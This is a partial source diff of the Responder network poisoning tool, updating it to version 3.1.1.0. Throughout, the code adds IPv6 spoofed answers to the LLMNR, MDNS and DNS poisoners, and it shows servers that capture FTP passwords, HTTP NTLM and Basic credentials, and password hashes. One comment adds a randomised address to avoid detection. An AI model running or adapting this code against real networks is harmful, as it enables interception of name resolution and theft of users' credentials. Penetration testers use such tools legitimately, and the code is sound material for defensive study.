Buffer = UDP(Data = Packet)
Buffer.calculate()
SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0))
@@ -308,7 +335,7 @@ def SendDHCP(packet,Host):
s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
s.sendto(NetworkSendBufferPython2or3(packet), Host)
def DHCP():
def DHCP(DHCP_DNS):
s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW)
s.bind((Interface, 0x0800))
SendDiscover()
@@ -318,6 +345,6 @@ def DHCP():
SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data)
if SrcPort == 67 or DstPort == 67:
ClientIP = socket.inet_ntoa(data[0][26:30])
ret = ParseDHCPCode(data[0][42:], ClientIP)
ret = ParseDHCPCode(data[0][42:], ClientIP,DHCP_DNS)
if ret:
print(text("[*] [DHCP] %s" % ret))

36
poisoners/LLMNR.py Normal file → Executable file
View File

@@ -14,9 +14,7 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import fingerprint
from packets import LLMNR_Ans
from packets import LLMNR_Ans, LLMNR6_Ans
from utils import *
if (sys.version_info > (3, 0)):
@@ -24,9 +22,6 @@ if (sys.version_info > (3, 0)):
else:
from SocketServer import BaseRequestHandler
def Parse_LLMNR_Name(data):
import codecs
NameLen = data[12]
@@ -60,14 +55,13 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
try:
data, soc = self.request
Name = Parse_LLMNR_Name(data).decode("latin-1")
LLMNRType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True:
return None
if data[2:4] == b'\x00\x00' and Parse_IPV6_Addr(data):
Finger = None
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0], 445))
#IPv4
if data[2:4] == b'\x00\x00' and LLMNRType:
if settings.Config.AnalyzeMode:
LineHeader = "[Analyze mode: LLMNR]"
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
@@ -77,7 +71,8 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
'ForName': Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode
elif LLMNRType == True: # Poisoning Mode
Buffer1 = LLMNR_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
@@ -89,8 +84,19 @@ class LLMNR(BaseRequestHandler): # LLMNR Server class
'ForName': Name,
'AnalyzeMode': '0',
})
if Finger is not None:
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))
elif LLMNRType == 'IPv6':
Buffer1 = LLMNR6_Ans(Tid=NetworkRecvBufferPython2or3(data[0:2]), QuestionName=Name, AnswerName=Name)
Buffer1.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer1), self.client_address)
LineHeader = "[*] [LLMNR]"
print(color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'LLMNR6',
'SentToIp': self.client_address[0],
'ForName': Name,
'AnalyzeMode': '0',
})
except:
raise

60
poisoners/MDNS.py Normal file → Executable file
View File

@@ -20,7 +20,7 @@ if (sys.version_info > (3, 0)):
from socketserver import BaseRequestHandler
else:
from SocketServer import BaseRequestHandler
from packets import MDNS_Ans
from packets import MDNS_Ans, MDNS6_Ans
from utils import *
def Parse_MDNS_Name(data):
@@ -51,37 +51,45 @@ def Poisoned_MDNS_Name(data):
class MDNS(BaseRequestHandler):
def handle(self):
MADDR = "224.0.0.251"
MPORT = 5353
data, soc = self.request
Request_Name = Parse_MDNS_Name(data)
MDNSType = Parse_IPV6_Addr(data)
# Break out if we don't want to respond to this host
if (not Request_Name) or (RespondToThisHost(self.client_address[0], Request_Name) is not True):
return None
if settings.Config.AnalyzeMode: # Analyze Mode
if Parse_IPV6_Addr(data):
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '1',
})
else: # Poisoning Mode
if Parse_IPV6_Addr(data):
print(text('[Analyze mode: MDNS] Request by %-15s for %s, ignoring' % (color(self.client_address[0], 3), color(Request_Name, 3))))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '1',
})
elif MDNSType == True: # Poisoning Mode
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS_Ans(AnswerName = Poisoned_Name)
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
})
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS_Ans(AnswerName = Poisoned_Name, IP=RespondWithIPAton())
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), (MADDR, MPORT))
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'MDNS',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
})
elif MDNSType == 'IPv6': # Poisoning Mode
Poisoned_Name = Poisoned_MDNS_Name(data)
Buffer = MDNS6_Ans(AnswerName = Poisoned_Name)
Buffer.calculate()
soc.sendto(NetworkSendBufferPython2or3(Buffer), self.client_address)
print(color('[*] [MDNS] Poisoned answer sent to %-15s for name %s' % (self.client_address[0], Request_Name), 2, 1))
SavePoisonersToDb({
'Poisoner': 'MDNS6',
'SentToIp': self.client_address[0],
'ForName': Request_Name,
'AnalyzeMode': '0',
})

23
poisoners/NBTNS.py Normal file → Executable file
View File

@@ -14,7 +14,6 @@
#
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
import fingerprint
import sys
from packets import NBT_Ans
from utils import *
@@ -24,21 +23,6 @@ if (sys.version_info > (3, 0)):
else:
from SocketServer import BaseRequestHandler
# Define what are we answering to.
def Validate_NBT_NS(data):
print("NBT-Service is:", NetworkRecvBufferPython2or3(data[43:46]))
if settings.Config.AnalyzeMode:
return False
elif NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "File Server":
return True
elif settings.Config.NBTNSDomain:
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Domain Controller":
return True
elif settings.Config.Wredirect:
if NBT_NS_Role(NetworkRecvBufferPython2or3(data[43:46])) == "Workstation/Redirector":
return True
return False
# NBT_NS Server class.
class NBTNS(BaseRequestHandler):
@@ -51,10 +35,6 @@ class NBTNS(BaseRequestHandler):
return None
if data[2:4] == b'\x01\x10':
Finger = None
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
if settings.Config.AnalyzeMode: # Analyze Mode
LineHeader = "[Analyze mode: NBT-NS]"
print(color("%s Request by %s for %s, ignoring" % (LineHeader, self.client_address[0], Name), 2, 1))
@@ -77,6 +57,3 @@ class NBTNS(BaseRequestHandler):
'AnalyzeMode': '0',
})
if Finger is not None:
print(text("[FINGER] OS Version : %s" % color(Finger[0], 3)))
print(text("[FINGER] Client Version : %s" % color(Finger[1], 3)))

28
servers/DNS.py Normal file → Executable file
View File

@@ -15,7 +15,7 @@
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
from utils import *
from packets import DNS_Ans, DNS_SRV_Ans
from packets import DNS_Ans, DNS_SRV_Ans, DNS6_Ans
if settings.Config.PY2OR3 == "PY3":
from socketserver import BaseRequestHandler
else:
@@ -28,6 +28,8 @@ def ParseDNSType(data):
return "A"
if QueryTypeClass == "\x00\x21\x00\x01":
return "SRV"
if QueryTypeClass == "\x00\x1c\x00\x01":
return "IPv6"
@@ -39,21 +41,29 @@ class DNS(BaseRequestHandler):
try:
data, soc = self.request
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode == False:
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False:
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
soc.sendto(NetworkSendBufferPython2or3(buff), self.client_address)
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
except Exception:
raise
pass
# DNS Server TCP Class
@@ -65,19 +75,27 @@ class DNSTCP(BaseRequestHandler):
try:
data = self.request.recv(1024)
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A" and settings.Config.AnalyzeMode is False:
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "A":
buff = DNS_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] A Record poisoned answer sent to: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV" and settings.Config.AnalyzeMode == False:
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "SRV":
buff = DNS_SRV_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] SRV Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
if ParseDNSType(NetworkRecvBufferPython2or3(data)) == "IPv6":
buff = DNS6_Ans()
buff.calculate(NetworkRecvBufferPython2or3(data))
self.request.send(NetworkSendBufferPython2or3(buff))
ResolveName = re.sub('[^0-9a-zA-Z]+', '.', buff.fields["QuestionName"])
print(color("[*] [DNS] AAAA Record poisoned answer sent: %-15s Requested name: %s" % (self.client_address[0], ResolveName), 2, 1))
except Exception:
raise
pass

3
servers/FTP.py Normal file → Executable file
View File

@@ -37,10 +37,8 @@ class FTP(BaseRequestHandler):
if data[0:4] == b'PASS':
Pass = data[5:].strip().decode("latin-1")
Packet = FTPPacket(Code="530",Message="User not logged in.")
self.request.send(NetworkSendBufferPython2or3(Packet))
data = self.request.recv(1024)
SaveToDb({
'module': 'FTP',
@@ -57,4 +55,5 @@ class FTP(BaseRequestHandler):
data = self.request.recv(1024)
except Exception:
raise
pass

17
servers/HTTP.py Normal file → Executable file
View File

@@ -86,16 +86,6 @@ def GrabCookie(data, host):
return Cookie
return False
def GrabHost(data, host):
Host = re.search(r'(Host:*.\=*)[^\r\n]*', data)
if Host:
Host = Host.group(0).replace('Host: ', '')
if settings.Config.Verbose:
print(text("[HTTP] Host : %s " % color(Host, 3)))
return Host
return False
def GrabReferer(data, host):
Referer = re.search(r'(Referer:*.\=*)[^\r\n]*', data)
@@ -196,8 +186,7 @@ def PacketSequence(data, client, Challenge):
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
if Packet_NTLM == b'\x01':
GrabURL(data, client)
GrabReferer(data, client)
GrabHost(data, client)
#GrabReferer(data, client)
GrabCookie(data, client)
Buffer = NTLM_Challenge(ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
@@ -228,8 +217,7 @@ def PacketSequence(data, client, Challenge):
ClearText_Auth = b64decode(''.join(Basic_Auth))
GrabURL(data, client)
GrabReferer(data, client)
GrabHost(data, client)
#GrabReferer(data, client)
GrabCookie(data, client)
SaveToDb({
@@ -311,3 +299,4 @@ class HTTP(BaseRequestHandler):
except:
pass

9
servers/HTTP_Proxy.py Normal file → Executable file
View File

@@ -207,7 +207,7 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
rbufsize = 0
def handle(self):
(ip, port) = self.client_address
(ip, port) = self.client_address[0], self.client_address[1]
if settings.Config.Verbose:
print(text("[PROXY] Received connection from %s" % self.client_address[0]))
self.__base_handle()
@@ -246,14 +246,15 @@ class HTTP_Proxy(BaseHTTPServer.BaseHTTPRequestHandler):
try:
if self._connect_to(self.path, soc):
self.wfile.write(self.protocol_version +" 200 Connection established\r\n")
self.wfile.write("Proxy-agent: %s\r\n" % self.version_string())
self.wfile.write("\r\n")
self.wfile.write(NetworkSendBufferPython2or3(self.protocol_version +" 200 Connection established\r\n"))
self.wfile.write(NetworkSendBufferPython2or3("Proxy-agent: %s\r\n"% self.version_string()))
self.wfile.write(NetworkSendBufferPython2or3("\r\n"))
try:
self._read_write(soc, 300)
except:
pass
except:
raise
pass
finally:

0
servers/MSSQL.py Normal file → Executable file
View File

2
servers/RDP.py Normal file → Executable file
View File

@@ -105,7 +105,7 @@ class RDP(BaseRequestHandler):
h.calculate()
buffer1 = str(h)
self.request.send(NetworkSendBufferPython2or3(buffer1))
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS,server_side=True)
SSLsock = ssl.wrap_socket(self.request, certfile=cert, keyfile=key, ssl_version=ssl.PROTOCOL_TLS_SERVER,server_side=True)
SSLsock.settimeout(30)
data = SSLsock.read(8092)
if FindNTLMNegoStep(data) == b'\x01\x00\x00\x00':

View File

@@ -23,7 +23,7 @@ import subprocess
from utils import *
__version__ = 'Responder 3.0.8.0'
__version__ = 'Responder 3.1.1.0'
class Settings:
@@ -83,7 +83,7 @@ class Settings:
# Config parsing
config = ConfigParser.ConfigParser()
config.read(os.path.join(self.ResponderPATH, 'Responder.conf'))
# Servers
self.HTTP_On_Off = self.toBool(config.get('Responder Core', 'HTTP'))
self.SSL_On_Off = self.toBool(config.get('Responder Core', 'HTTPS'))
@@ -119,10 +119,8 @@ class Settings:
self.LM_On_Off = options.LM_On_Off
self.NOESS_On_Off = options.NOESS_On_Off
self.WPAD_On_Off = options.WPAD_On_Off
self.Wredirect = options.Wredirect
self.DHCP_On_Off = options.DHCP_On_Off
self.Basic = options.Basic
self.Finger_On_Off = options.Finger
self.Interface = options.Interface
self.OURIP = options.OURIP
self.Force_WPAD_Auth = options.Force_WPAD_Auth
@@ -131,21 +129,43 @@ class Settings:
self.Verbose = options.Verbose
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
self.CommandLine = str(sys.argv)
if self.ExternalIP:
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
self.Bind_To6 = utils.FindLocalIP6(self.Interface, self.OURIP)
self.DHCP_DNS = options.DHCP_DNS
self.ExternalIP6 = options.ExternalIP6
if self.Interface == "ALL":
self.Bind_To_ALL = True
else:
self.Bind_To_ALL = False
#IPV4
if self.Interface == "ALL":
self.IP_aton = socket.inet_aton(self.OURIP)
else:
self.IP_aton = socket.inet_aton(self.Bind_To)
#IPV6
if self.Interface == "ALL":
if self.OURIP != None and utils.IsIPv6IP(self.OURIP):
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.OURIP)
else:
self.IP_Pton6 = socket.inet_pton(socket.AF_INET6, self.Bind_To6)
#External IP
if self.ExternalIP:
if utils.IsIPv6IP(self.ExternalIP):
sys.exit(utils.color('[!] IPv6 address provided with -e parameter. Use -6 IPv6_address instead.', 1))
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
self.ExternalResponderIP = utils.RespondWithIP()
else:
self.ExternalResponderIP = self.Bind_To
#External IPv6
if self.ExternalIP6:
self.ExternalIP6Pton = socket.inet_pton(socket.AF_INET6, self.ExternalIP6)
self.ExternalResponderIP6 = utils.RespondWithIP6()
else:
self.ExternalResponderIP6 = self.Bind_To6
self.Os_version = sys.platform
@@ -204,6 +224,7 @@ class Settings:
#Generate Random stuff for one Responder session
self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)])
self.Username = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ') for i in range(6)])
self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)])
self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)])
self.DomainName = self.Domain + '.LOCAL'
@@ -282,7 +303,7 @@ class Settings:
RoutingInfo = "Error fetching Routing information:", ex
pass
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
Message = "%s\nCurrent environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(utils.HTTPCurrentDate(), NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
try:
utils.DumpConfig(self.ResponderConfigDump, Message)
utils.DumpConfig(self.ResponderConfigDump,str(self))

View File

@@ -26,7 +26,7 @@ from odict import OrderedDict
from socket import *
from odict import OrderedDict
__version__ = "1.7"
__version__ = "1.8"
parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0])
@@ -44,7 +44,7 @@ if options.TARGET == None and options.Filename == None:
Timeout = options.Timeout
Host = options.TARGET
Filename = options.Filename
SMB1 = "Enabled"
SMB1 = "True"
SMB2signing = "False"
DB = os.path.abspath(os.path.join(os.path.dirname(__file__)))+"/RunFinger.db"
@@ -70,7 +70,7 @@ else:
if not os.path.exists(DB):
cursor = sqlite3.connect(DB)
cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT)')
cursor.execute('CREATE TABLE RunFinger (timestamp TEXT, Protocol TEXT, Host TEXT, WindowsVersion TEXT, OsVer TEXT, DomainJoined TEXT, Bootime TEXT, Signing TEXT, NullSess TEXT, IsRDPOn TEXT, SMB1 TEXT, MSSQL TEXT)')
cursor.commit()
cursor.close()
@@ -131,17 +131,17 @@ def GetOsBuildNumber(data):
return ProductBuild
def SaveRunFingerToDb(result):
for k in [ 'Protocol', 'Host', 'WindowsVersion', 'OsVer', 'DomainJoined', 'Bootime', 'Signing','NullSess', 'IsRPDOn']:
for k in [ 'Protocol', 'Host', 'WindowsVersion', 'OsVer', 'DomainJoined', 'Bootime', 'Signing','NullSess', 'IsRPDOn', 'SMB1','MSSQL']:
if not k in result:
result[k] = ''
cursor = sqlite3.connect(DB)
cursor.text_factory = sqlite3.Binary
res = cursor.execute("SELECT COUNT(*) AS count FROM RunFinger WHERE Protocol=? AND Host=? AND WindowsVersion=? AND OsVer=? AND DomainJoined=? AND Bootime=? AND Signing=? AND NullSess=? AND IsRDPOn=?", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn']))
res = cursor.execute("SELECT COUNT(*) AS count FROM RunFinger WHERE Protocol=? AND Host=? AND WindowsVersion=? AND OsVer=? AND DomainJoined=? AND Bootime=? AND Signing=? AND NullSess=? AND IsRDPOn=? AND SMB1=? AND MSSQL=?", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'], result['SMB1'], result['MSSQL']))
(count,) = res.fetchone()
if not count:
cursor.execute("INSERT INTO RunFinger VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?, ?)", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn']))
cursor.execute("INSERT INTO RunFinger VALUES(datetime('now'), ?, ?, ?, ?, ?, ?, ?, ?, ?,?,?)", (result['Protocol'], result['Host'], result['WindowsVersion'], result['OsVer'], result['DomainJoined'], result['Bootime'], result['Signing'], result['NullSess'], result['IsRDPOn'], result['SMB1'], result['MSSQL']))
cursor.commit()
cursor.close()
@@ -160,8 +160,9 @@ def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Res
WindowsVers = WorkstationFingerPrint(data[SSPIStart+48:SSPIStart+50])
WindowsBuildVers = GetOsBuildNumber(data[SSPIStart+50:SSPIStart+52])
DomainGrab((host, 445))
RDP = IsRDPOn((host,3389))
print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, RDP,SMB1)))
RDP = IsServiceOn((host,3389))
SQL = IsServiceOn((host,1433))
print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, RDP,SMB1, SQL)))
SaveRunFingerToDb({
'Protocol': '[SMB2]',
'Host': host,
@@ -171,7 +172,9 @@ def ParseSMBNTLM2Exchange(data, host, bootime, signing): #Parse SMB NTLMSSP Res
'Bootime': Bootime,
'Signing': signing,
'NullSess': 'N/A',
'IsRDPOn':RDP,
'IsRDPOn':RDP,
'SMB1': SMB1,
'MSSQL': SQL
})
def GetBootTime(data):
@@ -193,7 +196,7 @@ def IsDCVuln(t, host):
Date = datetime.datetime(2017, 3, 14, 0, 30)
if t[0] < Date:
return("This system may be vulnerable to MS17-010")
return("Last restart: "+t[1])
return(t[1])
#####################
@@ -253,7 +256,7 @@ def DomainGrab(Host):
return GetHostnameAndDomainName(data)
except IOError as e:
if e.errno == errno.ECONNRESET:
SMB1 = "Disabled"
SMB1 = "False"
return False
else:
return False
@@ -339,15 +342,15 @@ def ConnectAndChoseSMB(host):
s.settimeout(Timeout)
try:
s.connect(host)
h = SMBHeader(cmd="\x72",flag1="\x00")
n = SMBNego(Data = SMB2NegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(4096)
except:
return False
h = SMBHeader(cmd="\x72",flag1="\x00")
n = SMBNego(Data = SMB2NegoData())
n.calculate()
packet0 = str(h)+str(n)
buffer0 = longueur(packet0)+packet0
s.send(NetworkSendBufferPython2or3(buffer0))
data = s.recv(4096)
if ParseNegotiateSMB2Ans(data):
try:
while True:
@@ -392,8 +395,9 @@ def ShowSmallResults(Host):
Hostname, DomainJoined = DomainGrab((Host, 445))
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
NullSess = check_smb_null_session((Host, 445))
RDP = IsRDPOn((Host,3389))
print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,RDP)))
RDP = IsServiceOn((Host,3389))
SQL = IsServiceOn((Host,1433))
print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', MSSQL:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,RDP, SQL)))
SaveRunFingerToDb({
'Protocol': '[SMB1]',
'Host': Host,
@@ -403,13 +407,15 @@ def ShowSmallResults(Host):
'Bootime': 'N/A',
'Signing': Signing,
'NullSess': NullSess,
'IsRDPOn':RDP,
'IsRDPOn':RDP,
'SMB1': 'True',
'MSSQL': SQL
})
except:
return False
def IsRDPOn(Host):
def IsServiceOn(Host):
s = socket(AF_INET, SOCK_STREAM)
s.settimeout(Timeout)
try:
@@ -422,6 +428,7 @@ def IsRDPOn(Host):
except Exception as err:
return 'False'
def RunFinger(Host):
if Filename != None:
with open(Filename) as fp:

125
utils.py
View File

@@ -24,8 +24,24 @@ import settings
import datetime
import codecs
import struct
import random
try:
import netifaces
except:
sys.exit('You need to install python-netifaces or run Responder with python3...\nTry "apt-get install python-netifaces" or "pip install netifaces"')
from calendar import timegm
def if_nametoindex2(name):
if settings.Config.PY2OR3 == "PY2":
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library('c'))
ret = libc.if_nametoindex(name)
return ret
else:
return socket.if_nametoindex(settings.Config.Interface)
def RandomChallenge():
if settings.Config.PY2OR3 == "PY3":
if settings.Config.NumChal == "random":
@@ -128,6 +144,31 @@ def RespondWithIPAton():
else:
return settings.Config.IP_aton.decode('latin-1')
def RespondWithIPPton():
if settings.Config.PY2OR3 == "PY2":
if settings.Config.ExternalIP6:
return settings.Config.ExternalIP6Pton
else:
return settings.Config.IP_Pton6
else:
if settings.Config.ExternalIP6:
return settings.Config.ExternalIP6Pton.decode('latin-1')
else:
return settings.Config.IP_Pton6.decode('latin-1')
def RespondWithIP():
if settings.Config.ExternalIP:
return settings.Config.ExternalIP
else:
return settings.Config.Bind_To
def RespondWithIP6():
if settings.Config.ExternalIP6:
return settings.Config.ExternalIP6
else:
return settings.Config.Bind_To6
def OsInterfaceIsSupported():
if settings.Config.Interface != "Not set":
return not IsOsX()
@@ -136,6 +177,16 @@ def OsInterfaceIsSupported():
def IsOsX():
return sys.platform == "darwin"
def IsIPv6IP(IP):
if IP == None:
return False
regex = "(([0-9a-fA-F]{1,4}:){7,7}[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,7}:|([0-9a-fA-F]{1,4}:){1,6}:[0-9a-fA-F]{1,4}|([0-9a-fA-F]{1,4}:){1,5}(:[0-9a-fA-F]{1,4}){1,2}|([0-9a-fA-F]{1,4}:){1,4}(:[0-9a-fA-F]{1,4}){1,3}|([0-9a-fA-F]{1,4}:){1,3}(:[0-9a-fA-F]{1,4}){1,4}|([0-9a-fA-F]{1,4}:){1,2}(:[0-9a-fA-F]{1,4}){1,5}|[0-9a-fA-F]{1,4}:((:[0-9a-fA-F]{1,4}){1,6})|:((:[0-9a-fA-F]{1,4}){1,7}|:)|fe80:(:[0-9a-fA-F]{0,4}){0,4}%[0-9a-zA-Z]{1,}|::(ffff(:0{1,4}){0,1}:){0,1}((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])|([0-9a-fA-F]{1,4}:){1,4}:((25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9])\.){3,3}(25[0-5]|(2[0-4]|1{0,1}[0-9]){0,1}[0-9]))"
ret = re.search(regex, IP)
if ret:
return True
else:
return False
def FindLocalIP(Iface, OURIP):
if Iface == 'ALL':
return '0.0.0.0'
@@ -143,6 +194,19 @@ def FindLocalIP(Iface, OURIP):
try:
if IsOsX():
return OURIP
elif IsIPv6IP(OURIP):
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
s.connect(("127.0.0.1",9))#RFC 863
ret = s.getsockname()[0]
s.close()
return ret
elif IsIPv6IP(OURIP) == False and OURIP != None:
return OURIP
elif OURIP == None:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
s.setsockopt(socket.SOL_SOCKET, 25, str(Iface+'\0').encode('utf-8'))
@@ -150,11 +214,45 @@ def FindLocalIP(Iface, OURIP):
ret = s.getsockname()[0]
s.close()
return ret
return OURIP
except socket.error:
print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1)
def FindLocalIP6(Iface, OURIP):
if Iface == 'ALL':
return '::'
try:
if IsIPv6IP(OURIP) == False:
try:
#Let's make it random so we don't get spotted easily.
randIP = "2001:" + ":".join(("%x" % random.randint(0, 16**4) for i in range(7)))
s = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
s.connect((randIP+':80', 1))
IP = s.getsockname()[0]
print('IP is: %s'%IP)
return IP
except:
try:
#Try harder; Let's get the local link addr
IP = str(netifaces.ifaddresses(Iface)[netifaces.AF_INET6][0]["addr"].replace("%"+Iface, ""))
return IP
except:
IP = '::1'
print("[+] You don't have an IPv6 address assigned.")
return IP
else:
return OURIP
except socket.error:
print(color("[!] Error: %s: Interface not found" % Iface, 1))
sys.exit(-1)
# Function used to write captured hashs to a file.
def WriteData(outfile, data, user):
logging.info("[*] Captured Hash: %s" % data)
@@ -324,14 +422,20 @@ def SaveDHCPToDb(result):
